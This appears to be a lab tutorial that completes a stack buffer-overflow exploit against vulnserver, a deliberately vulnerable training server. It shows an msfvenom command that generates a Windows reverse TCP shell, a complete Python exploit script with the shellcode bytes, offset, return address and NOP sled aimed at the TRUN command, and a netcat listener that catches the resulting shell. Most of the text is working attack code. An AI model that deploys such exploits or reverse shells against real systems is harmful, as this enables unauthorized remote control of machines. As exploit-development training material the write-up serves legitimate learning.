Generating Shellcode and Gaining Root
With the offset and return address in place, the last step is to generate shellcode, drop it into the payload, and catch the shell.
Generate the Reverse Shell
Use msfvenom to create a reverse shell:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.57.5 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"
-p= payloadEXITFUNC=thread= makes the shell more stable-f= filetypec= C filetype-a= architecture86= type of architecture-b= bad character "\x00"
Note the payload size: if the EIP only has 250 bytes remaining, any payload over that will truncate it and the exploit will not work.
Add the Shellcode to the Script
Modify the Python script to include the new overflow variable:
#!/usr/bin/python
import sys, socket
overflow = (
"\xdb\xc8\xb8\x3e\x4c\xbd\xbb\xd9\x74\x24\xf4\x5a\x29\xc9"
"\xb1\x52\x31\x42\x17\x03\x42\x17\x83\xd4\xb0\x5f\x4e\xd4"
"\xa1\x22\xb1\x24\x32\x43\x3b\xc1\x03\x43\x5f\x82\x34\x73"
"\x2b\xc6\xb8\xf8\x79\xf2\x4b\x8c\x55\xf5\xfc\x3b\x80\x38"
"\xfc\x10\xf0\x5b\x7e\x6b\x25\xbb\xbf\xa4\x38\xba\xf8\xd9"
"\xb1\xee\x51\x95\x64\x1e\xd5\xe3\xb4\x95\xa5\xe2\xbc\x4a"
"\x7d\x04\xec\xdd\xf5\x5f\x2e\xdc\xda\xeb\x67\xc6\x3f\xd1"
"\x3e\x7d\x8b\xad\xc0\x57\xc5\x4e\x6e\x96\xe9\xbc\x6e\xdf"
"\xce\x5e\x05\x29\x2d\xe2\x1e\xee\x4f\x38\xaa\xf4\xe8\xcb"
"\x0c\xd0\x09\x1f\xca\x93\x06\xd4\x98\xfb\x0a\xeb\x4d\x70"
"\x36\x60\x70\x56\xbe\x32\x57\x72\x9a\xe1\xf6\x23\x46\x47"
"\x06\x33\x29\x38\xa2\x38\xc4\x2d\xdf\x63\x81\x82\xd2\x9b"
"\x51\x8d\x65\xe8\x63\x12\xde\x66\xc8\xdb\xf8\x71\x2f\xf6"
"\xbd\xed\xce\xf9\xbd\x24\x15\xad\xed\x5e\xbc\xce\x65\x9e"
"\x41\x1b\x29\xce\xed\xf4\x8a\xbe\x4d\xa5\x62\xd4\x41\x9a"
"\x93\xd7\x8b\xb3\x3e\x22\x5c\x7c\x16\x15\x99\x14\x65\x65"
"\xb0\xb8\xe0\x83\xd8\x50\xa5\x1c\x75\xc8\xec\xd6\xe4\x15"
"\x3b\x93\x27\x9d\xc8\x64\xe9\x56\xa4\x76\x9e\x96\xf3\x24"
"\x09\xa8\x29\x40\xd5\x3b\xb6\x90\x90\x27\x61\xc7\xf5\x96"
"\x78\x8d\xeb\x81\xd2\xb3\xf1\x54\x1c\x77\x2e\xa5\xa3\x76"
"\xa3\x91\x87\x68\x7d\x19\x8c\xdc\xd1\x4c\x5a\x8a\x97\x26"
"\x2c\x64\x4e\x94\xe6\xe0\x17\xd6\x38\x76\x18\x33\xcf\x96"
"\xa9\xea\x96\xa9\x06\x7b\x1f\xd2\x7a\x1b\xe0\x09\x3f\x3b"
"\x03\x9b\x4a\xd4\x9a\x4e\xf7\xb9\x1c\xa5\x34\xc4\x9e\x4f"
"\xc5\x33\xbe\x3a\xc0\x78\x78\xd7\xb8\x11\xed\xd7\x6f\x11"
"\x24")
# Return Address is: 625011af
# However, due to x86 architecture using the Little Indian Format
# we need to list it as: "\xaf\x11\x50\x62"
shellcode = "A" * 2003 + "\xaf\x11\x50\x62" + "\x90" * 32 + overflow
try:
payload = "TRUN /.:/" + shellcode
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.57.14',9999))
s.send((payload.encode()))
s.close()
except:
print("Error connecting to server")
sys.exit()
The script overflows with 2003 bytes until it reaches the EIP. Once there, it hits the JMP pointer address \xaf\x11\x50\x62, adds a NOPS sled of \x90 with 32 padding, and then injects the overflow.
NOPS= No Operations
Catch the Shell
In another terminal tab, set up a netcat listener:
nc -lvnp 4444
Run vulnserver as administrator and run the script.
And we have a shell.